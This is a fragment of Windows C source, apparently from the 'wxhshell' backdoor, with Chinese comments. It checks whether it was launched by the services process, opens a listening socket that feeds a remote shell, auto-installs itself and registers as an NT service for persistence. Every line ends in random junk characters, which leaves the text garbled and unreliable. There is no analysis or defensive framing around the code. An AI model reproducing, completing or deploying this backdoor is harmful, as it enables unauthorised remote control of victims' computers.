DWORD BasePriority; xJ(4RaP
ULONG UniqueProcessId; bq<DW/
ULONG InheritedFromUniqueProcessId; MSw:Ay[9
} PROCESS_BASIC_INFORMATION; >(aGk{e1
^Q'^9M2)
PROCNTQSIP NtQueryInformationProcess; 6GZzNhz
.^%!X!r
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eZ^-gk?
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /v,H%8S
;ESuj'*t
HANDLE hProcess; `zJTVi4
PROCESS_BASIC_INFORMATION pbi; 6fOh *
rprtp5C g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |rDv!m
if(NULL == hInst ) return 0; ?xbPdG":R
i!!1^DMrw
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %j3*j
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UF)4K3X
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G/*0*&fW
P,ox))+6
if (!NtQueryInformationProcess) return 0; 2sOV3~bB
}LaRa.3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f;k'dqlv
if(!hProcess) return 0; AIR\>.~"i*
;be2sTo
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !\0UEC
l }i
.
CloseHandle(hProcess); YRy5.F%?
_Co*"hl>2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PV*U4aP
if(hProcess==NULL) return 0; 7n1@m_7O
V_&>0P{q
HMODULE hMod; ].j;d2xT\
char procName[255]; y3 R+060\3
unsigned long cbNeeded; AC$:.KLI
.5',w"R
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J 1?)z+t9~
eN/o}<(e
CloseHandle(hProcess); =c-,uW11[
5,0fL
if(strstr(procName,"services")) return 1; // 以服务启动 uHv9D%R
dJZMzn
return 0; // 注册表启动 Qg \OJmv
} @c<*l+Qc
&gn^i!%Z)
// 主模块 a]<y*N?qu
int StartWxhshell(LPSTR lpCmdLine) 6w
d0"
{ 5AWIk,[
SOCKET wsl; ^MyuD?va
BOOL val=TRUE; p?mQ\O8F
int port=0; 0i[,`>-Av
struct sockaddr_in door; 1]L 0r
X
8V^
if(wscfg.ws_autoins) Install(); *Txt`z[|
U{2[nF
port=atoi(lpCmdLine); 6]=R#d 7U
K[%)_KW
if(port<=0) port=wscfg.ws_port; ?h;Zdv>`xz
>Cb[
WSADATA data; 0]C~CvO
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jl-Lz03YG
87Sqs1>cw
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c:SA#.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); < sJ
door.sin_family = AF_INET; 3|=9aM^ x^
door.sin_addr.s_addr = inet_addr("127.0.0.1");
J1waiOh
door.sin_port = htons(port); ]UR@V;JG
TG\3T%gH/s
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2]Nc@wX`p
closesocket(wsl); H\OV7=8
return 1; &{):x
} Hshm;\'
Voi`OCut
if(listen(wsl,2) == INVALID_SOCKET) { ~kdxJP"
closesocket(wsl); 'N?,UtG R
return 1; sx ;7
} b~khb!]
Wxhshell(wsl); >4gGb)
WSACleanup(); |IbCN
#$&!)13
return 0; 'eNcQJh
50:gk*hy
} uqaP\
+I$ k_
// 以NT服务方式启动 YQb43Sh`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |Co ?uv
i
{ :wn9bCom?M
DWORD status = 0; s2-`}LL
DWORD specificError = 0xfffffff; Ccmo(W+0
`uz15])1<
serviceStatus.dwServiceType = SERVICE_WIN32; Q`nsL)J
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
UADD 7d
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FOB9J.w4
serviceStatus.dwWin32ExitCode = 0; o`hVI*D
serviceStatus.dwServiceSpecificExitCode = 0; H1`}3}"
serviceStatus.dwCheckPoint = 0; W'l
&rm@
serviceStatus.dwWaitHint = 0; Q/oe l'O*x
xE$(I<:
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K:PPZ|
if (hServiceStatusHandle==0) return; }P8@\2@=T
=Ri'Prx&
status = GetLastError(); s8,{8k
if (status!=NO_ERROR) XG]ltSOy
{ h,-8(
S
serviceStatus.dwCurrentState = SERVICE_STOPPED; )Mw<e
serviceStatus.dwCheckPoint = 0; f>LwsP
serviceStatus.dwWaitHint = 0; F!FXZht$P
serviceStatus.dwWin32ExitCode = status; %E\&9,
serviceStatus.dwServiceSpecificExitCode = specificError; 8!a6)Zeux
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 95Q{d'&
return; [D[&aA
} RrM C[2=
6\MH2&L<
serviceStatus.dwCurrentState = SERVICE_RUNNING; =|lw~CW
serviceStatus.dwCheckPoint = 0; k 7 !{p
serviceStatus.dwWaitHint = 0; ';g]!XsY)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JI{|8)S
} y H\z+A|
fmuAX w>
// 处理NT服务事件,比如:启动、停止 ;J"b% ~Gn
VOID WINAPI NTServiceHandler(DWORD fdwControl) K!|%mI8gk
{ %kM|Hk3d
switch(fdwControl) >EQd;Af
{ U#=Q`
case SERVICE_CONTROL_STOP: h^{D "
serviceStatus.dwWin32ExitCode = 0; eGZ{%\PH<
serviceStatus.dwCurrentState = SERVICE_STOPPED; +9S_H(
serviceStatus.dwCheckPoint = 0; f0S&